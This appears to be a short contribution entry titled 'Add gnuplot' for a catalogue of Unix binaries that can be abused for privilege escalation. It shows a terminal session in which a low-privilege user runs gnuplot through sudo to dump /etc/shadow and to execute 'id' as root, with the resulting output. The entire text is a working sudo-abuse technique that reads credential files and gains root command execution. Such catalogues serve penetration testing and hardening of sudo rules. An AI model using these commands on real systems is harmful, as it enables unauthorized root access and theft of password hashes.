Add gnuplot

[Frissi0n]

lowpriv@7dc99421ba84:/tmp$ LFILE=/etc/shadow
lowpriv@7dc99421ba84:/tmp$ sudo gnuplot -e 'set print "-" ; print system("cat '$LFILE'")'
root:*:20007:0:99999:7:::
daemon:*:20007:0:99999:7:::
bin:*:20007:0:99999:7:::
sys:*:20007:0:99999:7:::
sync:*:20007:0:99999:7:::
games:*:20007:0:99999:7:::
man:*:20007:0:99999:7:::
lp:*:20007:0:99999:7:::
mail:*:20007:0:99999:7:::
news:*:20007:0:99999:7:::
uucp:*:20007:0:99999:7:::
proxy:*:20007:0:99999:7:::
www-data:*:20007:0:99999:7:::
backup:*:20007:0:99999:7:::
list:*:20007:0:99999:7:::
irc:*:20007:0:99999:7:::
_apt:*:20007:0:99999:7:::
nobody:*:20007:0:99999:7:::
ubuntu:!:20007:0:99999:7:::
systemd-network:!*:20037::::::
systemd-timesync:!*:20037::::::
messagebus:!:20037::::::
systemd-resolve:!*:20037::::::
sshd:!:20037::::::
lowriv:!:20037:0:99999:7:::
lowpriv:!:20037:0:99999:7:::
lowpriv@7dc99421ba84:/tmp$ COMMAND=id
lowpriv@7dc99421ba84:/tmp$ sudo gnuplot -e 'set print "-" ; print system("'$COMMAND'")'
uid=0(root) gid=0(root) groups=0(root)
lowpriv@7dc99421ba84:/tmp$